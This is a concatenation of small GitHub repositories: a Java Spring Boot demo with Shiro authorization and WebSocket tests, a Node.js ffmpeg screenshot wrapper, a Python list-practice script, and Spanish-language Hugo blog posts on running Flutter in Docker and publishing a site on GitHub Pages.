System.out.println("ๆŽˆๆƒ doGetAuthorizationInfo "+principalCollection.getPrimaryPrincipal()); String name = (String) principalCollection.getPrimaryPrincipal(); Set<String> permissions = getPermissionsByNameFromDB(name); Set<String> roles = getRoleByNameFromDB(name); SimpleAuthorizationInfo simpleAuthorizationInfo = new SimpleAuthorizationInfo(); simpleAuthorizationInfo.setRoles(roles); simpleAuthorizationInfo.setStringPermissions(permissions); return simpleAuthorizationInfo; } private String getPwdByUserNameFromDB(String name){ return "123"; } private Set<String> getPermissionsByNameFromDB(String name){ Set<String> set = new HashSet<>(); set.add("video_update"); set.add("video:buy"); set.add("pub:*"); return set; } private Set<String> getRoleByNameFromDB(String name){ Set<String> set = new HashSet<>(); set.add("role"); set.add("admin"); return set; } } ``` WebSocketTest.java ```package com.kfit.mybatis.test; import java.net.URI; import java.text.ParseException; import java.text.SimpleDateFormat; import java.time.LocalDate; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.Date; import javax.websocket.ClientEndpoint; import javax.websocket.ContainerProvider; import javax.websocket.Session; import javax.websocket.WebSocketContainer; @ClientEndpoint public class WebSocketTest { private String deviceId; private Session session; public WebSocketTest () { } public WebSocketTest (String deviceId) { this.deviceId = deviceId; } /*protected*/public boolean start() { WebSocketContainer container = ContainerProvider.getWebSocketContainer(); //ws://localhost:80/websocket // String uri = "ws://192.168.12.161/orderapp/recommend?role=1&group=recommend&dldm="+ deviceId; String uri = "ws://localhost:80/websocket/"+ deviceId; System.out.println("Connecting to " + uri); try { session = container.connectToServer(WebSocketTest.class, URI.create(uri)); System.out.println("count: " + deviceId); } catch (Exception e) { e.printStackTrace(); return false; } return true; } /** ย * ่ฎก็ฎ—ไธคไธชๆ—ถ้—ด็‚นไน‹้—ด็š„ๅคฉๆ•ฐ ย */ public static long getDateDays(String date1,String date2){ long days = 0; try { DateTimeFormatter df2 = DateTimeFormatter.ofPattern("yyyy-MM-dd"); LocalDate localDate1 = LocalDate.parse(date1); LocalDate localDate2 = LocalDate.parse(date2); // LocalDate now = LocalDate.now(); long fa = localDate2.toEpochDay(); days = localDate2.toEpochDay() - localDate1.toEpochDay(); System.out.println(days); SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd"); } catch (Exception e) { e.printStackTrace(); } return days; } public static void main(String[] args) { System.out.println(getDateDays("1970-01-02","2019-02-28")); // for (int i = 1; i< 5; i++) { // WebSocketTest wSocketTest = new WebSocketTest(String.valueOf(i)); // if (!wSocketTest.start()) { // System.out.println("ๆต‹่ฏ•็ป“ๆŸ๏ผ"); // break; // } // } } }``` UserRoleMapper.java ```package com.kfit.mybatis.dao; import com.kfit.mybatis.domain.UserRole; import org.apache.ibatis.annotations.Insert; import tk.mybatis.mapper.common.Mapper; public interface UserRoleMapper extends Mapper<UserRole> { }``` DaoUtil.java ```package com.kfit.mybatis; import java.util.List; import com.kfit.mybatis.dao.UserMapper; import com.kfit.mybatis.domain.User; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @Component public class DaoUtil { protected final Logger logger = LoggerFactory.getLogger(getClass()); //@Autowired // private UserMapper userMapper; public final boolean batchInsert(final List<User> list) { boolean rt = true; int size = list.size(); try { for (int i = 0; i < size; i++) { User paramObj = list.get(i); //userMapper.insert(paramObj); } } catch (Exception e) { logger.error(e.getMessage(),e); rt = false; } return rt; } }``` DemoController.java ```package com.kfit.mybatis.controller; import com.kfit.mybatis.OperationLogSaver; import com.kfit.mybatis.dao.UserMapper; import com.kfit.mybatis.service.UserService; import com.kfit.mybatis.domain.User; import com.kfit.mybatis.other.DisplayMessage; import com.kfit.mybatis.test.WebSocketTest; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.AuthenticationException; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.subject.Subject; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/2/24 20:40 * @modified By๏ผš */ @RestController public class DemoController { @Resource private UserService userService; @Autowired private UserMapper userMapper; @Autowired private OperationLogSaver operationLogSaver; @GetMapping("/socket") public Object testh(@RequestParam("num") Integer num){ int begin = 1000; for (int i = begin; i< num+begin; i++) { WebSocketTest wSocketTest = new WebSocketTest(String.valueOf(i)); if (!wSocketTest.start()) { System.out.println("ๆต‹่ฏ•็ป“ๆŸ๏ผ"); break; } } return "ok"; } @GetMapping("/video/update") public Object update() { Map map = new HashMap<>(); map.put("name","update"); return map; } @GetMapping("/authc/update") public Object authc() { Map map = new HashMap<>(); map.put("name","authc"); return map; } @GetMapping("/pub/play") public Object test1() { Subject subject = SecurityUtils.getSubject(); System.out.println("sessionid : "+subject.getSession().getId()); Map map = new HashMap<>(); map.put("sessionid",subject.getSession().getId()); map.put("name",subject.getPrincipal()); return map; } @GetMapping("/pub/login") public Object test(@RequestParam(value="user"/*, required=false,defaultValue="ไบŒๅฝ“ๅฎถๅฐD"*/) String username, @RequestParam(value="pwd"/*, required=false,defaultValue="123456"*/) String pwd) { Subject subject = SecurityUtils.getSubject(); //็”จๆˆท่พ“ๅ…ฅ็š„่ดฆๅทๅ’Œๅฏ†็  UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username,pwd); try { subject.login(usernamePasswordToken); System.out.println("sessionid : "+subject.getSession().getId()); } catch (AuthenticationException e) { e.printStackTrace(); System.out.println("็™ปๅฝ•ๅคฑ่ดฅ๏ผŒ็”จๆˆทๅๆˆ–ๅฏ†็ ้”™่ฏฏ"); return "็™ปๅฝ•ๅคฑ่ดฅ"; } User user = new User(); user.setUsername(username); User newUser = userMapper.selectOne(user); Map map = new HashMap<>(); map.put("user",user); map.put("sessionid",subject.getSession().getId()); return map; // for (int i = 0; i < 10; i++) { // DisplayMessage thread1 = new DisplayMessage("็บฟ็จ‹1"); // thread1.setObject(userService); // thread1.start(); // } // return "ok"; // User user = new User(); // user.setId(1); // user.setName("ไฝ "); // user.setAge(34); // userMapper.getUser(1); // ไฟๅญ˜ๆ“ไฝœ่ฎฐๅฝ• // List<TSysUpdateLog> records = new ArrayList<>(); // ๅผ‚ๆญฅๅ†™ๆ—ฅๅฟ— //ๆต‹่ฏ• /*User user1 = new User(); user1.setAge(234); user1.setName("้ฉฌไบ‘1"); User user2 = new User(); user2.setId(16); user2.setAge(234); user2.setName("้ฉฌไบ‘2"); ArrayList<User> arrayList = new ArrayList<User>(); arrayList.add(user1); arrayList.add(user2); operationLogSaver.putRecord(arrayList);*/ } } ``` WebSocketConfig.java ```package com.kfit.mybatis; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.socket.server.standard.ServerEndpointExporter; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/6/23 16:27 * @modified By๏ผš */ @Configuration public class WebSocketConfig { @Bean public ServerEndpointExporter serverEndpointExporter() { return new ServerEndpointExporter(); } } ``` CheckCenterController.java ```package com.kfit.mybatis; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; import java.io.IOException; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/6/23 16:37 * @modified By๏ผš */ @Controller @RequestMapping("/checkcenter") public class CheckCenterController { private Logger log = LoggerFactory.getLogger(getClass()); //้กต้ข่ฏทๆฑ‚ @GetMapping("/socket/{cid}") public ModelAndView socket(@PathVariable String cid) { ModelAndView mav=new ModelAndView("/socket"); mav.addObject("cid", cid); return mav; } //ๆŽจ้€ๆ•ฐๆฎๆŽฅๅฃ @ResponseBody @RequestMapping("/socket/push/{cid}") public Object pushToWeb(@PathVariable String cid,String message) { try { WebSocketServer.sendInfo(message,cid); } catch (IOException e) { e.printStackTrace(); log.error(cid+"#"+e.getMessage()); return "error"; } log.info(cid+"success"); return "ok"; } } ``` RolePermissionMapper.java ```package com.kfit.mybatis.dao; import com.kfit.mybatis.domain.RolePermission; import org.apache.ibatis.annotations.Insert; import tk.mybatis.mapper.common.Mapper; public interface RolePermissionMapper extends Mapper<RolePermission> { }``` UserService.java ```package com.kfit.mybatis.service; import com.kfit.mybatis.dao.RoleMapper; import com.kfit.mybatis.domain.Role; import com.kfit.mybatis.domain.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Isolation; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import javax.annotation.Resource; import java.util.List; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/2/24 21:56 * @modified By๏ผš */ @Service public class UserService { //@Resource //private UserMapper userMapper; @Autowired private RoleMapper roleMapper; //@Transactional(isolation = Isolation.READ_COMMITTED, propagation = Propagation.REQUIRES_NEW) public Object getUser(int id) { User user = null; List list = roleMapper.selectAll(); System.out.println("role list ๏ผš"+list); return list; } @Transactional public int updateUser(User record) { //return userMapper.updateUser(record); return 1; } @Transactional(isolation = Isolation.SERIALIZABLE) public void modifyUser() { // User user = userMapper.getUser(1); // user.setAge(user.getAge() + 1); // userMapper.updateUser(user); } } ``` UserInfo.java ```package com.kfit.mybatis.domain; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/7/1 23:22 * @modified By๏ผš */ public class UserInfo { private String name; private String content; public UserInfo(String name, String content) { this.name = name; this.content = content; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } } ``` MybatisApplication.java ```package com.kfit.mybatis; import org.apache.ibatis.annotations.Mapper; //import org.mybatis.spring.annotation.MapperScan; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import tk.mybatis.spring.annotation.MapperScan; @SpringBootApplication //@MapperScan(basePackages="com.kfit.mybatis",annotationClass = Mapper.class) @MapperScan(basePackages = "com.kfit.mybatis.dao*") public class MybatisApplication { public static void main(String[] args) { SpringApplication.run(MybatisApplication.class, args); } } ```
yuleichin/gitskills
yuleichin/gitskills README.md ```# gitskills learn git with liaoxuefeng ```
yuli-lovely/liff
yuli-lovely/liff ffmpeg.js ```"use strict" const fs = require('fs') const child_process = require('child_process') const path = require('path') // _screenshotArr ๆˆชๅ›พๆ•ฐ็ป„ // params: // video: /data/1/2/3/abc.mp4 // time: [00:00:01.100,00:00:01.200,00:00:01.400] // screen: 540x960 // images: [/data/1/2/3/abc0.jpg,/data/1/2/3/abc1.jpg,/data/1/2/3/abc2.jpg] // return: // image const _screenshotArr = (video, times, screen, images) => { return new Promise((resolve, reject) => { fs.exists(video, (ok) => { if (!ok) { reject(`video:"${video}" ๆ–‡ไปถไธๅญ˜ๅœจ`) return } images = images || [] if (images.length == 0) { for (let i = 0; i < times.length; i++) { images.push(path.dirname(video) + '/' + path.basename(video).replace(path.extname(video), i + '.jpg')) } } _screenshot(video, times, screen, images, times.length).then((imgs) => { imgs.reverse() resolve(imgs) }) }) }) } //ไธๅœจๆœฌๅœฐ่ง†้ข‘็š„่ฃๅ‰ช const _screenshotArrOut = (video,pat, times, screen, images) => { return new Promise((resolve, reject) => { // fs.exists(video, (ok) => { // if (!ok) { // reject(`video:"${video}" ๆ–‡ไปถไธๅญ˜ๅœจ`) // return // } images = images || [] if (images.length == 0) { for (let i = 0; i < times.length; i++) { images.push(pat+ path.basename(video).replace(path.extname(video), i + '.jpg')) } } _screenshot(video, times, screen, images, times.length).then((imgs) => { imgs.reverse() resolve(imgs) }) // }) }) } // _screenshotOnce ๆˆชๅ›พ // params: // video: /data/1/2/3/abc.mp4 // time: 00:00:01 // screen: 540x960 // return: // image const _screenshotOnce = (video, time, screen, image) => { return new Promise((resolve, reject) => { fs.exists(video, (ok) => { if (!ok) { reject(`video:"${video}" ๆ–‡ไปถไธๅญ˜ๅœจ`) return } image = image || path.dirname(video) + '/' + path.basename(video).replace(path.extname(video), '.jpg') _screenshot(video, [time], screen, [image], 1).then((imgs) => { resolve(imgs[0]) }) }) }) } // _screenshot ๅพช็Žฏๆˆชๅ›พ const _screenshot = (video, times, screen, images, max) => { return new Promise((resolve) => { let arrImage = [] let cmd = `ffmpeg -i "${video}" -s "${screen}" -y -f image2 -ss "${times[max-1]}" -frames 1 "${images[max-1]}"` child_process.exec(cmd, function (err, stdout, stderr) { let image = "" let arr = stderr.split("\n") for (let v in arr) { let substr = arr[v].match(/Output #0, image2, to '([\s\S]+)':/) if (substr) { image = substr[1] } } arrImage.push(image) max-- if (max == 0) { return resolve(arrImage) } _screenshot(video, times, screen, images, max).then((imgs) => { for (let i = 0; i < imgs.length; i++) { arrImage.push(imgs[i]) } return resolve(arrImage) }) }) }) } // _info ๆˆชๅ›พ // params: // video: /data/1/2/3/abc.mp4 const _info = (video) => { return new Promise((resolve, reject) => { fs.exists(video, (ok) => { if (!ok) { reject(`video:"${video}" ๆ–‡ไปถไธๅญ˜ๅœจ`) return } let cmd = `ffmpeg -i "${video}" ` child_process.exec(cmd, function (err, stdout, stderr) { let arr = stderr.split("\n") let duration = "" let start = "" let bitrate = "" let video = "" let audio = "" let videoScreen = "" let audioSampleRate = "" for (let v in arr) { let substr = "" substr = arr[v].match(/Duration: ([\s\S]+), start: ([\s\S]+), bitrate: ([\s\S]+)/) if (substr) { duration = substr[1] start = substr[2] bitrate = substr[3] } substr = arr[v].match(/Video: ([\s\S]+)/) if (substr) { video = substr[1] } substr = arr[v].match(/Audio: ([\s\S]+)/) if (substr) { audio = substr[1] } } try { videoScreen = video.split(",")[2].split(" ")[1] } catch (e) { reject(`video:"${video}" ่ง†้ข‘ๅˆ†่พจ็އ่ฏ†ๅˆซๅคฑ่ดฅ`) return } try { audioSampleRate = audio.split(",")[1].split(" ")[1] } catch (e) { reject(`video:"${video}" ้Ÿณ้ข‘้‡‡ๆ ท็އ่ฏ†ๅˆซๅคฑ่ดฅ`) return } resolve({ duration: duration, start: start, bitrate: bitrate, video: video, audio: audio, videoScreen: videoScreen, audioSampleRate: audioSampleRate, }); return }) }) }) } module.exports = { name: 'ffmpeg', Info: _info, ScreenshotOnce: _screenshotOnce, ScreenshotArr: _screenshotArr, ScreenshotArrOut:_screenshotArrOut }``` README.md ```# liff ้กน็›ฎๅฎž็Žฐไบ†ffmpeg็š„่ฐƒ็”จๆŽฅๅฃ ## Option: ๆœฌๆœบๅฎ‰่ฃ…: ```sh npm install git+http://git.liebaopay.com/yuli/liff.git `````` test.js ```"use strict" const ffmpeg = require('./index') const util = require('util') let mp4="/Users/lijian/code/node/git.liebaopay.com/yuli/liff/3.mp4" let ti = "00:00:05" let screen = "540x960" // ffmpeg.Info(mp4).then((info)=>{ // console.log(info) // },()=>{}) // ffmpeg.ScreenshotOnce(mp4,ti,screen,'/Users/lijian/code/node/git.liebaopay.com/yuli/liff/4.jpg').then((image)=>{ // console.log(image) // },(err)=>{ // console.log(err) // }) // ffmpeg.ScreenshotOnce(mp4,ti,screen).then((image)=>{ // console.log(image) // },(err)=>{ // console.log(err) // }) ffmpeg.ScreenshotArr(mp4,["00:00:05.000","00:00:05.200","00:00:05.400"],screen).then((images)=>{ console.log(images) })``` index.js ```"use strict" module.exports=require('./lib/ffmpeg')```
yuliana20/helloworld
yuliana20/helloworld README.md ```# helloworld proyecto sena estudiante de ADSI, vivo en medellin estoy muy emocionada de aprender nuevas cosas. ```
yulianalbisu/practicando-listas
yulianalbisu/practicando-listas listas.py ```lista1=['s', 'e', 'a', 'C','C', 'n', 'n', 'A'] #print(len(lista1)) #print(lista1[1:3]) #print(lista1[:3]) #print(lista1[4:]) #print(lista1[-1]) #print(lista1[-2:]) #print(lista1[:-3]) #lista = [0,1,2,3,4,5,6,7,8,9,'MITTEN',10,11,2,2] #lista2 = ['Z', 'X', 'P'] #print(lista) #print(lista.count(10)) #print(lista.index('MITTEN')) #print(lista.index(2,10)) #lista.reverse() #print(lista) #lista2.sort() #print(lista2) #lista.pop(4) #print(lista) #lista2.insert(0, 'Y') #print(lista2) #lista3-lista2[:] #print(lista3) #del lista3[1:3] #print(lista3) #lista{12 ='MITTEN'} #print(lista) #lista.remove(0) #print(lista) #lista3 = ['5a4b6t] #lista3.split() #print(lista3) #lista4 = ['gato'.'girafa'.'aguila'] #lista4.split('.') #lista3.isdigit() #print(lista3) #lista4.strip()```
yuliannydev/yuliannydev.github.io
yuliannydev/yuliannydev.github.io sobre-mi.md ```--- title: "Sobre Mi" date: 2020-11-25T22:31:27-04:00 --- ------------ - Hola, mi nombre es **Yulianny Betancourt**, estoy terminando mi carrera de Ingenierรญa de Sistemas y en el camino he aprendido cosas que siento que debรญ mostrarle a los demรกs para que aprendan tambiรฉn. - Soy Co-Fundadora de Raydesite, momento de pรบblicidad **Apoyanos en todas las redes**. - Actualmente estudio en Platzi y comparto contenido en la comunidad. #NuncaParesDeAprender - La razรณn por la que decidรญ crear este Blog es porque siempre que estoy haciendo algo nuevo en la pc veo que hay cantidades infinitas de tutoriales para cada cosa pero de 100, 5 sirven porque no saben explicar o porque obvian algo, por eso es que he decidido crear este espacio en el cual puedan aprender de la manera mรกs fรกcil posible y detallada sobre Tecnologรญas. - Tambiรฉn te podrรกs conseguir cosas sobre Series de tv, Vรญdeojuegos, etc, etc, etc... #### Lista de contenido - [x] Tecnologรญas de Desarrollo. - [x] Manjaro Linux (Sistema operativo). - [x] Gnu/Linux. - [x] Comunidad de Open source. - [x] Backend. - [x] Vรญdeojuegos (Mรณvil). - [x] Software para PC/Laptops y sus configuraciones. - [x] Series. - [x] DC. - [x] Entre otros... #### Mรกs sobre mรญ y lo que hago: [Github](https://github.com/yuliannydev/) | [Mi Instagram](https://www.instagram.com/yuliannydev/) | [Twitter personal](https://www.twitter.com/yuliannydev/) | [Pรกgina Oficial de Raydesite](https://raydesite.com/) | [Instagram Raydesite](https://www.instagram.com/raydesite/) | [Twitter de Raydesite](https://www.twitter.com/raydesite/) #### Links de intereses >Recibe - 15% en [ClickUp](https://clickup.com/?fp_ref=yulianny36&promo=RAYCLICKUP) #### Gracias por visitar mi blog personal, puedes brรญndarme un cafรฉ en [Ko-fi](https://ko-fi.com/raydesite/) ``` docker-con-flutter.md ```--- author: "Yulianny Betancourt" title: "Docker Con Flutter" date: 2020-12-23T00:17:32-04:00 description: "Contenedor de Docker para Flutter" tags: ["Docker", "Flutter", "Flutter Web", "Emulador para Flutter"] --- ## Desarrolla con Flutter en PC de pocos recursos Recientemente estaba con la urgencia de hacer un proyecto con Flutter, pero los recursos de la PC no me dejaban, por lo cual empece a buscar alternativas y di con esta solucion, e intentando realizarla no podรญa hacer que funcionara el emulador, solo en web y era tardรญo el proceso, entonces empece a investigar y eran cosas sencillas que tenรญa que hacer para que todo funcionara, tanto en Web como en Android, que para otros pueden ser mรกs sencillas o complejas, y por lo mucho que me ha ayudado, se los dejo aquรญ para que puedan solventar cualquier problema solamente teniendo Docker en su pc/laptop, VSCode, y una extensiรณn en este. Gracias a la maravilla de Docker, con este contenedor podrรกs hacer tus prรกcticas y proyectos de Flutter sin preocuparte de las configuraciones en tu PC/Laptop. ### Este contenedor incluye: - SDK Flutter. - SDK Android. - Emulador para Android. - Configuraciรณn para Flutter Web en el puerto 8090. - Varias versiones de Flutter. ### Ahora sรญ, empecemos con la instalaciรณn. Clonamos el repositorio desde la Terminal. Es importante no cerrar la terminal con la que estaremos trabajando desde afuera de VSCode, que la estaremos utilizando mรกs adelante ` $ git clone https://github.com/yuliannydev/docker-flutter-multiplatform.git ` Entramos al repo clonado, desde la misma terminal ` $ code . ` Para instalar la extensiรณn que dije que se necesita en VSCode, [Remote Development](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack). ![ExtensionRemoteDevelopment](https://i.imgur.com/CxZ6sUq.png) Una vez instalada: ` Ctrl + Shift + P ` ![RemoteDevelopment](https://i.imgur.com/dIgz3NK.png) Le damos en **Remote-Containers: Rebuild and Reopen in Container** Para que se descargue todo el contenido que necesitaremos para trabajar con Flutter en nuestra PC, esto puede demorar un tiempo dependiendo de tu conexiรณn a internet, ya que como dije estarรก descargando todo. Y una vez estรฉ descargado en la **terminal de VSCode** aparecerรก algo asรญ: ![FlutterApp](https://i.imgur.com/rIiW1s8.png) Donde flutter_docker_compose es el nombre que le hayas dado inicialmente al repo clonado, o como tรบ quieras llamarle. Lo siguiente serรก crear nuestra Aplicaciรณn: ![FlutterCreate](https://i.imgur.com/AEIMQFg.png) ### Emulador para Android Ahora para poner andar el emulador Android necesitas tener soporte para [KVM](https://www.linux-kvm.org/page/Main_Page), en Linux puedes buscar en tu tienda de descarga. En la terminal externa, que dije que no cerrรกramos, vamos a colocar este comando, para que inicie el emulador: ` $ xhost local:$USER && docker run --rm -ti -e UID=$(id -u) -e GID=$(id -g) -p 42000:42000 --workdir /project --device /dev/kvm --device /dev/dri:/dev/dri -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY -v "$PWD":/project --entrypoint flutter-android-emulator matspfeiffer/flutter ` Ahora en la **terminal de VSCode** ` $ flutter emulators --launch flutter_emulator ` ### Flutter en Google Chrome Para trabajar en un Navegador Web con Chrome se debe tener esta extensiรณn para depurar Dart: [Extension-Dart](https://chrome.google.com/webstore/detail/dart-debug-extension/eljbmlghnomdjgdjmbdekegdkbabckhm) E igualmente correr un comando en la Terminal externa: ` $ docker run --rm -ti -e UID=$(id -u) -e GID=$(id -g) -p 42000:42000 -p 8090:8090 --workdir /project -v "$PWD":/project --entrypoint flutter-web matspfeiffer/flutter:beta ` Y empezarรก a trabajar en el puerto 0.0.0.0:8090 ### Enlaces adicionales - [Develope Flutter in VSCode](https://dev.to/matsp/develop-flutter-in-a-vs-code-devcontainer-350g) - [Readme del Repo](https://github.com/yuliannydev/docker-flutter-multiplatform) - [VSCode Remote Development](https://code.visualstudio.com/docs/remote/remote-overview) - [Alternativa de KVM para Windows](https://www.profesionalreview.com/2019/01/06/habilitar-hyper-v-windows-10/) **Gracias por visitar mi Blog, espero haberte ayudado. Para cualquier duda puedes contactarme a mi [Twitter](https://twitter.com/yuliannydev) que con gusto te ayudarรฉ, y si quieres apoyarme en [ko-fi](https://ko-fi.com/raydesite/)** ``` hugo-y-github-pages.md ```--- author: "Yulianny Betancourt" title: "Hugo y Github Pages" date: 2020-11-25T22:34:08-04:00 description: "Crea una pรกgina Web en tiempo rรฉcord" tags: ["Hugo", "Github", "DesarrolloWeb"] --- #### **Crea tu Pรกgina Web o Blog con Hugo + Github Pages en solo minutos.** Hugo es un Framework de cรณdigo abierto que te permite crear Sitios estรกticos, y actualmente es el mรกs veloz del mercado. #### **Instala HUGO en tu Sistema Operativo** Primero es necesario tener instalado en tu PC o Laptop hugo, porque ahรญ es donde iniciaras tu proyecto. Para eso: En Windows: `$ choco install hugo -confirm` En MAC: ` $ brew install hugo` Debian y derivados: ` $ sudo apt-get install hugo` Arch Linux y derivados: ` $ sudo pacman -S hugo` #### **Crear tu Proyecto con Hugo** ` $ hugo new site MiPagina` Crea una carpeta llamada **MiPagina** en la cual estarรก tu Proyecto, y quedarรก algo asรญ: ![](https://i.imgur.com/d29YHm1.png) #### **Instala tu tema y configuralo** Puedes hacerlo desde cero, pero gracias a la comunidad de Hugo, existen diversos temas con los cuales puedes hacer tu pรกgina partiendo de otra o si quieres dejarla exactamente igual, acรก un link donde puedes conseguir temas: https://themes.gohugo.io/ El tema que yo he elegido es este: https://themes.gohugo.io/theme/hugo-refresh/ Ahora adentro de la carpeta **MiPagina** se prepara para poder subir a Github, y clonar el repositorio del tema ahรญ, esto se hace asรญ: ` $ git init` Clonamos el tema con un: ` $ git submodule add https://github.com/PippoRJ/hugo-refresh.git themes/hugo-refresh` Y adentro de la carpeta Themes estarรก el tema clonado como lo indica el comando anterior. Y para tener el tema tal cual lo muestra en la demo, removemos la configuraciรณn de la carpeta raรญz. El archivo config.toml ![](https://i.imgur.com/cyNpVzg.png) ` $ rm config.toml` y descargamos la configuraciรณn del tema clonado, a nuestra carpeta raรญz con: `$ curl -O https://raw.githubusercontent.com/PippoRJ/hugo-refresh/master/exampleSite/config.yaml` Para esto se requiere tener instalado curl, si no lo tienes puede entrar a la carpeta **themes** luego en el tema clonado, y **exampleSite** copiar el archivo config.toml y pegarlo en la carpeta raรญz, es decir en **MiPagina**. En el archivo config.toml es necesario cambiar el link que trae por defecto que es: `baseURL = "http://example.com/"` y colocar el link de tu pรกgina web, este link lo obtienes en el siguiente paso, recuerda hacerlo una vez lo hayas terminado. #### **Crea un repositorio en Github para alojar tu proyecto, Pรกgina web, Blog** Para este paso necesitas tener una cuenta en Github, asรญ que si estรกs aquรญ es porque ya sabes que puedes alojar tu pรกgina web ahรญ. En Github, en el inicio a la izquierda superior: ![](https://i.imgur.com/STX32zR.png) Le das en New y apareceran la ventana para colocar los datos del repositorio: ![](https://i.imgur.com/g832nty.png) En **Repository name** colocarรกs el nombre con el que tengas tu cuenta "tunombre" es eso. Y **.github.io** para que esto pueda funcionar, y los otros datos son opcionales, pero deberรญas llenarlo. #### **Clonar mi repositorio Github a mi PC** Como ya en tu pc creaste un repositorio al hacer ` $ git init` tienes que utilizar estos comando en la terminal: ` $ git remote add origin https://github.com/yuliannybetancourt/tunombre.github.io.git` En tu caso serรก `https://github.com/tunombre/tunombre.github.io.git` la direcciรณn del repo. ` $ git add .` ` $ git commit -m "Para verificar que todo este comiteado"` ` $ git branch -M main` ` $ git push -u origin main` Recuerda estar posicionado adentro de la carpeta **MiPagina** Y tu repositorio Github ya estarรก enlazado a tu proyecto local en la rama **main** #### **Preparo mi Proyecto para subirlo a Github** Ahora para que tu proyecto en local estรฉ en tu cuenta de Github, y puedas tener tu Pรกgina Web: Estando en **MiPagina** ` $ hugo -d docs` Esto es para que se cree una carpeta docs adentro de la raรญz de tu proyecto local, y de ese modo en tu repositorio se haga el deploy en docs. **Nota:** Github te permite tener tu pรกgina web en la raรญz **/root**, pero en este caso la colocaremos en **/docs **, para eso vamos a Settings en Github y bajamos al apartado de **Github Pages** y seleccionamos /docs como lugar para hacer el deploy. ![](https://i.imgur.com/39IsUmd.png) Ya preparado el proyecto en local, y configurado bien el repositorio, en la terminal: ` $ git add .` ` $ git commit -m "Subo mi proyecto completo a Github"` Esto es para agregar los cambios realizados "*la carpeta docs y lo que contiene*" ` $ git push origin main` Sube todo el proyecto a tu respositorio en Github. Y listo, ya puedes verificar que tu pรกgina estรก en https://tunombre.github.io ``` README.md ```![Build GH-Pages](https://github.com/adityatelange/hugo-PaperMod/workflows/Build%20GH-Pages/badge.svg) ![GitHub](https://img.shields.io/github/license/adityatelange/hugo-PaperMod) [![hugo-papermod](https://img.shields.io/badge/Hugo--Themes-@PaperMod-blue)](https://themes.gohugo.io/hugo-papermod/) [![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=adityatelange_hugo-PaperMod&metric=alert_status)](https://sonarcloud.io/dashboard?id=adityatelange_hugo-PaperMod) ![code-size](https://img.shields.io/github/languages/code-size/adityatelange/hugo-PaperMod) # Mi Blog personal estรก creado con hugo-PaperMod | [Demo](https://yuliannydev.me/) # Demo original | [Demo](https://adityatelange.github.io/hugo-PaperMod/) โ˜„๏ธ Fast | โ˜๏ธ Fluent | ๐ŸŒ™ Smooth | ๐Ÿ“ฑ Responsive Hugo PaperMod es un tema basado en [hugo-paper](https://github.com/nanxiaobei/hugo-paper). La meta de este proyecto es agregar mรกs caracterรญscas y personalizaciรณn al tema original. El [sitio demo](https://adityatelange.github.io/hugo-PaperMod/) contiene toda la documentaciรณn sobre la Instalaciรณn, caracteristicas, y muchas mรกs cosas. Asegurate de darle una ojeada, que a mรญ me ha ayudado mucho. El sitio ejemplo lo puedes conseguir aquรญ: [Sitio ejemplo](https://github.com/adityatelange/hugo-PaperMod/tree/exampleSite). El sitio demo estรก construido desde este ejemplo. --- <p align="center"> <kbd><img width=600px src="https://raw.githubusercontent.com/adityatelange/hugo-PaperMod/exampleSite/content/posts/papermod/papermod-features/images/homeinfo.webp" alt="HomeInfo" /></kbd> <kbd><img width=153px src="https://i.ibb.co/LNgGcrt/mobileview.png" alt="HomeInfo" /></kbd> </p> --- ## Instalaciรณn Lee este Post para mรกs detalles => [hugo-PaperMod - Instalaciรณn](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-installation/) --- ## Caracterรญsticas / Modos - Usa Hugo en sus modos predeterminados. - 3 Modos: - Regular Mode. - [Home-Info Mode.](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-features/#home-info-mode) - [Profile Mode.](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-features/#profile-mode) - Tabla de generaciรณn de contenido (Implementado recientemente). - Archivo de posts. - Social-Media para compartir los posts. - Indicador de รšbicaciรณn del Menรบ. - Soporte a multilenguaje. - Imรกgen de portada para cada post (Con soporte responsive). - Light/Dark theme ( Cambio automรกtico de tema). - SEO Amigable. - SOporte para multiples Autores. - No requiere webpack, nodejs y otras dependencias para editar el Tema. :) Lea este post para mรกs detalles => [hugo-PaperMod - Caracterรญsticas](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-features/) Informaciรณns sobre las cosas agregadas: [Releases](https://github.com/adityatelange/hugo-PaperMod/releases) --- ## Social-Icons Lea este post para mรกs detalles => [Social-Icons](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-icons/) --- ## Preguntas frecuentes / Procedimientos Lea este post para mรกs detalles => [Guรญa 